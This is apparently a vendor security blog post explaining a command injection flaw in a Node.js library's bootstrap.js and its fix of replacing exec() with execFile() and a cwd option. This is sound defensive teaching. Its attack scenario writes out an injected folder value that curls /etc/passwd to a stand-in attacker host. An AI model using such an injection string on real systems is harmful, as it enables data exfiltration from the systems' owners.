Back to Blog
high SEVERITY8 min read

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `bootstrap.js` at line 34. The root cause is the use of `exec()` with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces `exec()` with `execFile('npm', ['install'], { cwd: folder })`, which bypasses the shell entirely by passing arguments as an array and using the `cwd` option to set the working directory, eliminating any possibility of shell metacharacter injection.

Vulnerability at a Glance

cweCWE-78
fixReplaced exec() with execFile() using argument array and cwd option, bypassing shell interpretation
riskArbitrary shell command execution on the host system
languageJavaScript (Node.js)
root causeTemplate literal with unsanitized `folder` variable passed to exec(), which invokes a shell
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process and How to Fix It

The Vulnerability at a Glance

This is a command injection vulnerability (CWE-78) in Node.js, found in bootstrap.js at line 34. The root cause is the use of exec() with a template literal string — `cd ${folder} && npm install` — which passes user-influenced input directly to a shell. The fix replaces exec() with execFile('npm', ['install'], { cwd: folder }), which bypasses the shell entirely by passing arguments as an array and using the cwd option to set the working directory, eliminating any possibility of shell metacharacter injection.


Introduction

The bootstrap.js file in this Node.js library handles a very practical task: running npm install across multiple project folders during pipeline setup and local development. It's the kind of utility script that developers write quickly, trust implicitly, and rarely revisit. But inside the installPackages() function, a single line of code created a high-severity security hole that could be exploited by anyone with influence over the folder variable.

At line 34, the original code looked like this:

const command = `cd ${folder} && npm install`;
exec(command, (error, stdout, stderr) => { ... });

This pattern — interpolating a variable directly into a shell command string and handing it to exec() — is one of the most common sources of command injection in Node.js applications. And because this is a library, the blast radius extends to every downstream consumer who installs and runs it.


The Vulnerability Explained

What Makes exec() Dangerous Here

Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. This is fundamentally different from execFile() or spawn(), which execute a binary directly without invoking a shell.

When you write:

const command = `cd ${folder} && npm install`;
exec(command, callback);

You are asking the operating system shell to interpret command as a shell script. The shell understands operators like &&, ;, |, $(), and backticks. If folder contains any of these characters, the shell will faithfully execute whatever comes after them.

A Concrete Attack Scenario

Imagine a scenario where the folders array is populated from an external source — a configuration file, an environment variable, a CI/CD pipeline parameter, or a package manifest. An attacker who can influence any of these inputs could supply a value like:

legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo

When this value is interpolated into the template literal and passed to exec(), the resulting shell command becomes:

cd legitimate-folder && curl https://attacker.com/exfil?data=$(cat /etc/passwd) && echo && npm install

The shell executes all three commands in sequence: changing directories, exfiltrating /etc/passwd to an attacker-controlled server, and then running npm install as if nothing happened. The callback receives no error, and the attack is invisible in normal logs.

Even without external input, if the folders array is ever extended to include paths derived from package names, repository names, or user-supplied configuration, this code becomes immediately exploitable.

Why This Is Especially Risky in a Library

The PR notes explicitly that this is a Node.js library — not a standalone application. Vulnerabilities in libraries are multiplied by the number of projects that depend on them. A developer who installs this package and runs bootstrap.js in a CI/CD environment with elevated permissions could unknowingly expose their entire build infrastructure to this attack pattern.


The Fix

Before: Shell Interpolation with exec()

// VULNERABLE: folder variable is interpolated into a shell command string
const command = `cd ${folder} && npm install`;

exec(command, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

After: Shell Bypass with execFile()

// SAFE: no shell is invoked; arguments are passed as an array
execFile('npm', ['install'], { cwd: folder }, (error, stdout, stderr) => {
  if (error) {
    console.error(`\x1b[31mError installing npm packages in ${folder} \x1b[0m`);
    reject(error);
  }
  // ...
});

Why This Fix Works

The change makes three specific improvements:

  1. exec()execFile(): execFile() does not spawn a shell. It executes the binary (npm) directly. Without a shell, there is no interpreter to process metacharacters, operators, or subshell syntax. The folder variable can contain && or ; all it wants — those characters are never seen by a shell.

  2. Template literal → argument array: Instead of embedding npm install in a string that a shell parses, the command and its arguments are passed as separate elements in an array: ['install']. This is the structural equivalent of parameterized queries in SQL — the command and its data are kept separate at the API level.

  3. cd ${folder}{ cwd: folder }: The original code used cd as a shell built-in to change directories before running npm install. The fix uses the cwd (current working directory) option, which is a first-class feature of the Node.js child process API. This eliminates the need for any shell command at all, and the folder value is passed as a filesystem path to the OS, not as a string to a shell interpreter.

The result is a function that is structurally immune to command injection, regardless of what value folder contains.


Prevention & Best Practices

1. Prefer execFile() or spawn() Over exec()

As a general rule in Node.js:

Function Spawns a shell? Safe for user input?
exec() ✅ Yes ❌ No
execFile() ❌ No ✅ Yes (with array args)
spawn() ❌ No ✅ Yes (with array args)

If you find yourself reaching for exec(), ask whether you actually need shell features (pipes, redirects, globbing). If the answer is no — and it usually is — use execFile() or spawn() instead.

2. Never Interpolate Variables into Shell Command Strings

Template literals and string concatenation in shell commands are red flags:

// ❌ Dangerous patterns
exec(`cd ${userInput} && do-something`);
exec('process ' + userInput);
exec(`find ${dir} -name ${pattern}`);

// ✅ Safe patterns
execFile('do-something', [], { cwd: userInput });
execFile('find', [dir, '-name', pattern]);

3. Use cwd Instead of cd

Whenever you need to run a command in a specific directory, use the cwd option:

execFile('npm', ['install'], { cwd: targetDirectory }, callback);

This is cleaner, more readable, and eliminates an entire category of shell injection risk.

4. Validate and Allowlist Paths

If the folder values come from any external source, validate them before use:

const path = require('path');
const allowedBase = '/safe/base/directory';

function isSafePath(folder) {
  const resolved = path.resolve(folder);
  return resolved.startsWith(allowedBase);
}

5. Run Static Analysis in CI/CD

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add Semgrep or similar SAST tools to your CI pipeline to catch these patterns before they reach production:

# Example GitHub Actions step
- name: Run Semgrep
  uses: returntocorp/semgrep-action@v1
  with:
    config: p/javascript

6. Reference Standards


Key Takeaways

  • exec() with template literals is structurally unsafe: The line `cd ${folder} && npm install` in installPackages() handed shell interpretation power to whatever value folder held — a dangerous assumption in any codebase.
  • execFile() + argument array = no shell, no injection: The fix in bootstrap.js doesn't just sanitize input — it eliminates the shell entirely, making the injection structurally impossible.
  • cwd replaces cd safely: Using { cwd: folder } instead of cd ${folder} && removes the need for any shell command, reducing the attack surface to zero for directory navigation.
  • Library code deserves extra scrutiny: Because bootstrap.js is part of a library, this vulnerability multiplied across every downstream project. Utility scripts are not exempt from security review.
  • Static analysis catches this pattern reliably: Semgrep's detect-child-process rule flagged this exact issue automatically, demonstrating that SAST tools can prevent this class of vulnerability from reaching production.

How Orbis AppSec Detected This

  • Source: The folder variable in installPackages(), drawn from the folders array which can be influenced by pipeline configuration or external input
  • Sink: exec(command, callback) at bootstrap.js:34, where command is the template literal `cd ${folder} && npm install`
  • Missing control: No sanitization, escaping, or validation of folder before shell interpolation; no use of shell-bypass APIs
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile('npm', ['install'], { cwd: folder }), eliminating shell invocation and passing the directory as a cwd option rather than a shell string

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in bootstrap.js is a textbook example of how a convenience-driven coding pattern — using exec() with a template literal — can introduce serious security risk with very little visible warning. The code looked reasonable: change to a directory, run npm install. But the mechanism it used to accomplish that task (shell interpolation via exec()) created an injection surface that could be exploited to run arbitrary commands on any system where the script executes.

The fix is elegant precisely because it doesn't try to sanitize the input — it changes the mechanism. By switching to execFile() with an argument array and the cwd option, the shell is removed from the equation entirely. There is nothing left to inject into.

For Node.js developers, the lesson is clear: treat exec() with the same caution you'd apply to raw SQL string concatenation. Reach for execFile() or spawn() by default, use argument arrays, and let the OS handle path resolution through cwd. Your future self — and your downstream users — will thank you.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded into a shell command string passed to exec(), allowing attackers to append additional shell commands using metacharacters like &&, ;, or |.

How do you prevent command injection in Node.js child_process?

Use execFile() or spawn() instead of exec(), and pass arguments as an array rather than a shell string. Use the cwd option to set the working directory instead of using cd in the command string.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input sanitization enough to prevent command injection in Node.js?

Sanitization alone is fragile and error-prone. The preferred approach is to avoid shell invocation entirely by using execFile() or spawn() with argument arrays, which structurally prevents shell interpretation regardless of input content.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep can detect patterns where exec() is called with template literals or string concatenation involving variables, as demonstrated by the rule javascript.lang.security.detect-child-process.detect-child-process that flagged this exact issue.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5344

Related Articles

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote versions prior to 1.8.4, where unescaped line terminators allowed attackers to inject arbitrary shell commands through crafted input strings. The fix pins shell-quote to version 1.9.0 via a `package.json` overrides directive in the FabricExample project, ensuring all transitive dependencies resolve to the patched version. Left unaddressed, this vulnerability could have allowed arbitrary code execution on any

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `scripts/common.js` where the `exec()` function used `execSync()` with unsanitized input, allowing potential command injection attacks. The fix replaces `execSync()` with `execFileSync()` and separates command arguments into an array, preventing shell metacharacter interpretation. This defensive hardening removes an exploit primitive that could be chained with other weaknesses by automated attack tools.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A Node.js library was vulnerable to command injection through unsafe use of `execSync()` with shell string interpolation in the `index.js` file. By switching to `execFileSync()` with argument arrays, the fix eliminates the ability for attackers to inject shell metacharacters through file paths. This change demonstrates a critical security hardening pattern for any Node.js code that spawns child processes.